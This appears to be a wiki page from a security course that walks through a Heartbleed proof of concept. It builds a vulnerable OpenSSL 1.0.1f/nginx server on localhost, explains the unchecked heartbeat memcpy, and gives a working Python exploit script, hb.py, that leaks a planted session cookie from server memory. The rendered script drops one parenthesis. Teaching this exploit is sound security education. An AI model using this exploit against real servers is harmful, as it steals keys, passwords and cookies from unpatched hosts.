User Tools

Site Tools


session:extra:heartbleed-poc

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
session:extra:heartbleed-poc [2014/07/31 09:20]
vladum created
session:extra:heartbleed-poc [2020/07/19 12:49] (current)
Line 1: Line 1:
-==+====== 0x0Cb. Heartbleed Proof of Concept ====== 
 + 
 +===== Information Leak ===== 
 + 
 +In the context of binary exploitation, information leakage attacks are based on bugs such as integers overflows, or unchecked bounds, and can be used to leak the memory contents of a process. Using this kind of attack we can overcome some protection mechanism that we just studied. We could leak stack canaries and then use them to successfully overflow the stack, or we could leak addresses from the stack or other structures, thus defeating ASLR. 
 + 
 +More generally, this class of attacks includes any method that leads to the exposure of secret information (e.g., documents, keys). Besides software bugs, things like too much logging can also count as information leakage. For example, leaving the debug logging output of your web application can result in leaking paths on the hosting machine that can later be used in attacks. 
 + 
 +A very famous and recent bug that leaks memory content is Heartbleed. The vulnerability was discovered in OpenSSL's code, and is a very trivial memory copy between 2 buffers with an unsanitized length parameter given as input by the user. Using this, the attacker can leak any secrets kept in a webserver's memory during operation, including, but not limited to: 
 +  * encryption keys 
 +  * passwords 
 +  * session cookies 
 +  * personal identifiable information (e.g., credit card numbers) 
 + 
 +This section will go through a Proof-of-Concept exploit that will enable us to leak a normal user's session cookie for a vulnerable server (localhost). 
 +===== Environment Setup ===== 
 + 
 +To setup a minimal environment, we need a vulnerable OpenSSL version and a webserver. We also need to configure a basic website that will just serve a static page. 
 + 
 +==== Download Nginx & OpenSSL ==== 
 + 
 +  * [[https://www.openssl.org/source/openssl-1.0.1f.tar.gz|OpenSSL 1.0.1f Source]] 
 +  * [[http://nginx.org/download/nginx-1.6.0.tar.gz|Nginx 1.6.0 Source]] 
 + 
 +==== Compile Nginx & vulnerable OpenSSL ==== 
 + 
 +<code bash> 
 +tar xvf ~/Downloads/openssl-1.0.1f.tar.gz 
 +tar xvf ~/Downloads/nginx-1.6.0.tar.gz 
 +</code> 
 + 
 +If **Perl 5.18.X** is installed on your machine, you'll have to apply a patch to the OpenSSL sources in order to compile. Use the first command to find Perl's version, and skip to the next group of commands if it's older than 5.18.X. 
 + 
 +<code text> 
 +perl -v 
 + 
 +This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi 
 +(with 41 registered patches, see perl -V for more detail) 
 +... 
 +</code> 
 + 
 +Download this patch: {{:session:openssl-perl-5.18.x.patch.tar.gz|}} 
 + 
 +<code text> 
 +cd openssl-1.0.1f.tar.gz 
 +tar xvf ~/Downloads/openssl-perl-5.18.x.patch.tar.gz 
 +patch -p1 < openssl-perl-5.18.x.patch 
 +</code> 
 + 
 +Use default options for any exception that ''patch'' will encounter. 
 + 
 +**Continue from here if your Perl version is older than 5.18.X.** 
 + 
 +Note that we are only building Nginx, which will take care of running ''make'' in the OpenSSL directory for us. 
 + 
 +<code text> 
 +cd nginx-1.6.0.tar.gz 
 +mkdir ~/vuln 
 +./configure --prefix=$HOME/vuln --with-openssl=../openssl-1.0.1f --with-http_ssl_module --without-http_rewrite_module 
 +make 
 +make install 
 +</code> 
 + 
 +You should be able to run the Nginx binary after this step: 
 + 
 +<code bash> 
 +~nginx-1.6.0.tar.gz$ ~/vuln/sbin/nginx -V 
 +nginx version: nginx/1.6.0 
 +built by gcc 4.8.2 (Ubuntu 4.8.2-19ubuntu1)  
 +TLS SNI support enabled 
 +configure arguments: --prefix=/home/vladum/vuln --with-openssl=../openssl-1.0.1f --with-http_ssl_module --without-http_rewrite_module 
 +</code> 
 + 
 +==== Basic SSL website ==== 
 + 
 +Prepare a self-signed certificate: 
 + 
 +<code text> 
 +sudo mkdir -p /etc/nginx/ssl 
 +sudo openssl genrsa -des3 -out /etc/nginx/ssl/server.key 1024 
 +</code> 
 + 
 +Enter any passphrase. 
 + 
 +<code text> 
 +sudo openssl req -new -key /etc/nginx/ssl/server.key -out /etc/nginx/ssl/server.csr 
 +sudo cp /etc/nginx/ssl/server.key /etc/nginx/ssl/server.key.org 
 +sudo openssl rsa -in /etc/nginx/ssl/server.key.org -out /etc/nginx/ssl/server.key 
 +sudo openssl x509 -req -days 365 -in /etc/nginx/ssl/server.csr -signkey /etc/nginx/ssl/server.key -out /etc/nginx/ssl/server.crt 
 +</code> 
 + 
 +Replace ''%%~/vuln/conf/nginx.conf%%'' with the following configuration: 
 + 
 +<code text> 
 +worker_processes  1; 
 + 
 +events { 
 +    worker_connections  1024; 
 +
 + 
 +http {    
 +    server { 
 +        listen 127.0.0.1:11443; 
 +        server_name localhost; 
 + 
 +        root /usr/share/nginx/www; 
 +        index index.html; 
 + 
 +        ssl on; 
 +        ssl_certificate /etc/nginx/ssl/server.crt; 
 +        ssl_certificate_key /etc/nginx/ssl/server.key;  
 +    } 
 +
 +</code> 
 + 
 +Nginx configuration and a static HTML page: 
 + 
 +<code text> 
 +sudo mkdir -p /usr/share/nginx/www 
 +sudo chown vladum: /usr/share/nginx/www 
 +echo “Hello” > /usr/share/nginx/www/index.html 
 +</code> 
 + 
 +Start the server: 
 + 
 +<code bash> 
 +~$ ~/vuln/sbin/nginx 
 +</code> 
 + 
 +You should see the page live at https://127.0.0.1:11443. Ignore the certificate warning. 
 + 
 +===== Vulnerability ===== 
 + 
 +General information about this vulnerability can be obtained from [[http://heartbleed.com/|this website]]. 
 + 
 +The TLS Heartbeat protocol extension (see [[http://tools.ietf.org/html/rfc6520|RFC 6520]]) specifies a keep-alive functionality between a TLS client and server that uses 2 messages: a request and the response. The RFC mandates the following: 
 + 
 +<code text> 
 +   A HeartbeatRequest message can arrive almost at any time during the 
 +   lifetime of a connection.  Whenever a HeartbeatRequest message is 
 +   received, it SHOULD be answered with a corresponding 
 +   HeartbeatResponse message. 
 + 
 +[...] 
 + 
 +   When a HeartbeatRequest message is received and sending a 
 +   HeartbeatResponse is not prohibited as described elsewhere in this 
 +   document, the receiver MUST send a corresponding HeartbeatResponse 
 +   message carrying an exact copy of the payload of the received 
 +   HeartbeatRequest. 
 +</code> 
 + 
 +Both Heartbeat messages have the following format: 
 + 
 +<code c> 
 +   struct { 
 +      HeartbeatMessageType type; 
 +      uint16 payload_length; 
 +      opaque payload[HeartbeatMessage.payload_length]; 
 +      opaque padding[padding_length]; 
 +   } HeartbeatMessage; 
 +</code> 
 + 
 +The vulnerable OpenSSL allocates memory for the response (using ''OPENSSL_malloc'') using the received payload length and copies the same amount of data from the received payload buffer. No bound checks are performed. The relevant source code looks like this: 
 + 
 +<code c> 
 +        /* Allocate memory for the response, size is 1 bytes 
 +         * message type, plus 2 bytes payload length, plus 
 +         * payload, plus padding 
 +         */ 
 +        buffer = OPENSSL_malloc(1 + 2 + payload + padding); 
 +        bp = buffer; 
 +            
 +        /* Enter response type, length and copy payload */ 
 +        *bp++ = TLS1_HB_RESPONSE; 
 +        s2n(payload, bp); 
 +        memcpy(bp, pl, payload); 
 +</code> 
 + 
 +If the attacker sends a ''payload'', but a bogus, big, ''payload_length'', the vulnerable routine will copy past the end of the buffer and leak memory contents. Since the ''payload_length'' field is represented on 2 bytes, 64KB can be leaked. 
 + 
 +===== Exploit ===== 
 + 
 +A TLS channel is established after the initial handshake part of the protocol. Since the Heartbeat RFC specifies the a Heartbeat Request can be send at any time, we simply have to initiate a TLS connection with a ''ClientHello'' message (first step of the handshake), and the send the bogus Heartbeat Request. 
 + 
 +<note> 
 +More details about the TLS handshake protocol can be found [[http://blog.bjrn.se/2012/07/fun-with-tls-handshake.html|here]]. 
 +</note> 
 + 
 +The ''ClientHello'' packet looks like this: 
 + 
 +<code text> 
 +16 03 02 00 31 # TLS Header 
 +01 00 00 2d    # Handshake header 
 +03 02          # ClientHello field: version number (TLS 1.1) 
 +50 0b af bb b7 
 +5a b8 3e f0 ab 
 +9a e3 f3 9c 63 
 +15 33 41 37 ac 
 +fd 6c 18 1a 24 
 +60 dc 49 67 c2 
 +fd 96          # ClientHello field: random 
 +00             # ClientHello field: session id 
 +00 04          # ClientHello field: cipher suite length 
 +00 33 c0 11    # ClientHello field: cipher suite(s) 
 +01             # ClientHello field: compression support, length 
 +00             # ClientHello field: compression support, no compression (0) 
 +00 00          # ClientHello field: extension length (0) 
 +</code> 
 + 
 +After sending this, we can read the server's response and send the payload, which looks like this: 
 + 
 +<code text> 
 +18    # Content type = 18 (Heartbeat message) 
 +03 02 # Version 
 +00 03 # Packet length 
 +01    # Heartbeat message type (1 = request) 
 +FF FF # Payload length 
 +      # There is no actual message, just an empty string 
 +</code> 
 + 
 +Exploit code: 
 + 
 +<file python hb.py> 
 +import socket 
 +import time 
 + 
 +CLIENT_HELLO = ''' 
 +16 03 02 00 31 # TLS Header 
 +01 00 00 2d    # Handshake header 
 +03 02          # ClientHello field: version number (TLS 1.1) 
 +50 0b af bb b7 
 +5a b8 3e f0 ab 
 +9a e3 f3 9c 63 
 +15 33 41 37 ac 
 +fd 6c 18 1a 24 
 +60 dc 49 67 c2 
 +fd 96          # ClientHello field: random 
 +00             # ClientHello field: session id 
 +00 04          # ClientHello field: cipher suite length 
 +00 33 c0 11    # ClientHello field: cipher suite(s) 
 +01             # ClientHello field: compression support, length 
 +00             # ClientHello field: compression support, no compression (0) 
 +00 00          # ClientHello field: extension length (0) 
 +''' 
 + 
 +BAD_HB = ''' 
 +18    # Content type = 18 (Heartbeat message) 
 +03 02 # Version 
 +00 03 # Packet length 
 +01    # Heartbeat message type (1 = request) 
 +FF FF # Payload length 
 +      # There is no actual message, just an empty string 
 +''' 
 + 
 +def no_comments(p): 
 +    r = '' 
 +    next_line = False 
 +    for line in p.split('\n'): 
 +        for hexbyte in line.split(' '): 
 +            if len(hexbyte) == 0 or hexbyte[0] == '#': 
 +                next_line = True 
 +                break 
 +            r += hexbyte.decode('hex'
 +        if next_line: 
 +            continue 
 +    return r 
 + 
 +def recvall(s, timeout=3): 
 +    s.setblocking(0) 
 +    total_data = [] 
 +    data = '' 
 +    begin = time.time() 
 +    while True: 
 +        if total_data and time.time() - begin > timeout: 
 +            break 
 +        elif time.time() - begin > timeout * 2: 
 +            break 
 +        try: 
 +            data = s.recv(8192) 
 +            if data: 
 +                total_data.append(data) 
 +                begin = time.time() 
 +            else: 
 +                time.sleep(0.1) 
 +        except: 
 +            pass 
 +    return ''.join(total_data) 
 + 
 +def attack(host, port): 
 +    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
 +    s.connect((host, port)) 
 + 
 +    s.send(no_comments(CLIENT_HELLO)) 
 +    recvall(s) 
 +    s.send(no_comments(BAD_HB)) 
 +    print recvall(s) 
 + 
 +attack('127.0.0.1', 11443) 
 +</file> 
 + 
 +To simulate a real life situation, we'll have to send a dummy request to the webserver from a //normal// user. Use the following file for this: 
 + 
 +<file python alice.py> 
 +import requests 
 +c = { 
 +    'session': 'ultr@_s3cr3t_c00kie' 
 +
 +requests.get('https://127.0.0.1:11443', cookies=c, verify=False) 
 +</file> 
 + 
 +Running ''alice.py'' will place a cookie in the webserver's memory that can be leaked with our exploit: 
 + 
 +<code bash> 
 +~$ python alice.py 
 +~$ python hb.py 
 +... 
 +ultr@_s3cr3t_c00kie 
 +... 
 +</code> 
 + 
 +Game over!
session/extra/heartbleed-poc.1406787644.txt.gz · Last modified: 2014/07/31 09:20 by vladum